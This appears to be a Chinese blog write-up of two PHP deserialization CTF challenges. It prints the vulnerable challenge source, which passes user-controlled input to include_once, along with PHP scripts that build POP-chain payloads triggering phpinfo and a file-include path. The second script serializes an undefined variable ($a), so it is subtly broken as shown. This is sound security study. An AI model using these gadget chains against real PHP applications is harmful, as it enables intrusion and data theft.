前言
在此之前从未做出来过有关反序列化的题目,今天通过复现这两道题来浅学以下反序列化题目。之前始终无法理解如何使用,其根本原因发现是因为没有彻底理解魔术方法的使用,导致别人的pop链始终看不懂
step_by_step-v3
前言
这道题在phpinfo里面存在flag的值,可能是一个非预期解。正常的情况应该是绕过include_once去读取到hint.php的数值。由于我是复现,并没有hint.php的内容,这里重点使用的是如果读取phpinfo,已经如何绕过include_once
源代码
<?php
error_reporting(0);
class yang
{
public $y1;
public function __construct()
{
$this->y1->magic();
}
// 调用tostring执行phpinfo
public function __tostring()
{
($this->y1)();
}
public function hint()
{
include_once('hint.php');
if(isset($_GET['file']))
{
$file = $_GET['file'];
if(preg_match("/$hey_mean_then/is", $file))
{
die("nonono");
}
include_once($file);
}
}
}
class cheng
{
public $c1;
public function __wakeup()
{
$this->c1->flag = 'flag';
}
public function __invoke()
{
$this->c1->hint();
}
}
class bei
{
public $b1;
public $b2;
public function __set($k1,$k2)
{
print $this->b1;
}
public function __call($n1,$n2)
{
echo $this->b1;
}
}
if (isset($_POST['ans'])) {
unserialize($_POST['ans']);
} else {
highlight_file(__FILE__);
}
?>
exp1:利用__tostring
(1)payload
<?php
class yang
{
public $y1;
}
class cheng
{
public $c1;
}
class bei
{
public $b1;
public $b2;
}
$yang=new yang();
$cheng=new cheng();
$bei=new bei();
$yang->y1="phpinfo";
$bei->b1=$yang;
$cheng->c1=$bei;
echo serialize($cheng);
?>
(2)分析
- 首先在yang类当中的存在__tostring魔术方法,只要$yang->y1 = “phpinfo()”,然后echo $yang即可。接下来需要查看哪里存在输出函数
- 存在输出函数的有两个地方,一个是bei类中的set魔术方法和call魔术方法。且输出的都是 $bei->b1 。只要赋值 $bei->b1=$yang, 就能够print phpinfo(); 接下来要做的就是如何调用set或者是call魔术方法
- 首先看set魔术方法调用的前提条件是要么b1或者b2为不可见属性,要么bei对象调用了bei类中未定义的属性,显然只能是第二种方式了。查看整个程序,可以发现在cheng类当中,存在this->c1->flag和hint,只要$cheng->c1=$bei,那么只要存在bei->flag就会调用set魔术方法。而此时的wakeup恰好执行反序列化时就会调用,直接赋值即可
(3)逆向思维得到payload
$cheng = new cheng();
$cheng->c1=new bei();
$cheng->c1->b1 = new yang();
$cheng->c1->b1->y1 = "phpinfo";
echo serialize($cheng);
首先令c1等于bei对象,从而使得调用
(4)反思
通过上面的解题思路,还有几种未尝试的方法,即使用call魔术方法和invoke函数方法,从而得到了以下的payload
exp2:
(1)payload
<?php
error_reporting(0);
class yang
{
public $y1;
}
class cheng
{
public $c1;
}
class bei
{
public $b1;
public $b2;
}
// 调用wakeup函数,使得$bei->flag,从而调用set方法
$cheng = new cheng();
$cheng->c1 = new bei();
// 打印出this->b1的值,这里的被设置成了类yang的对象,从而调用了tostring方法
$cheng->c1->b1 = new yang();
// 设置y1的值为类cheng的对象,此时的结果是$cheng(),此时就会调用invoke方法
$cheng->c1->b1->y1 = new cheng();
// 最后设c1的数值为yang类实例化后的对象,就会调用yang当中的hint方法
$cheng->c1->b1->y1->c1 = new yang();
echo serialize($a);
?>
safepop
思路
目的:只要调用Test类中的getflag即可即可,这个在Func类中的call_user_func函数就能做到
只要能调用Func类中的call魔术方法,即调用Func类中不存在的方法即可。进而需要调用get魔术方法,即a对象调用一个未定义的变量即可;这个在B类中的__destruct魔术方法中就存在,目的反推出了条件,符合
总结
首先反序列化的题目可以分为正向分析和逆向分析,这两种思路其实是按照条件来的,看你先看到的是可以利用的条件还是你需要到达的条件。遇到难点的正向逆向可以同时分析
然后就是发现了解了魔术方法的如何使用之后,就会发现所谓的POP链,就是不断的构造好条件使得能调用魔术方法,然后调用里面的内容
重点是找目的和条件,根据条件如何实现某项功能罢了,现在目前所学到的就这些
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com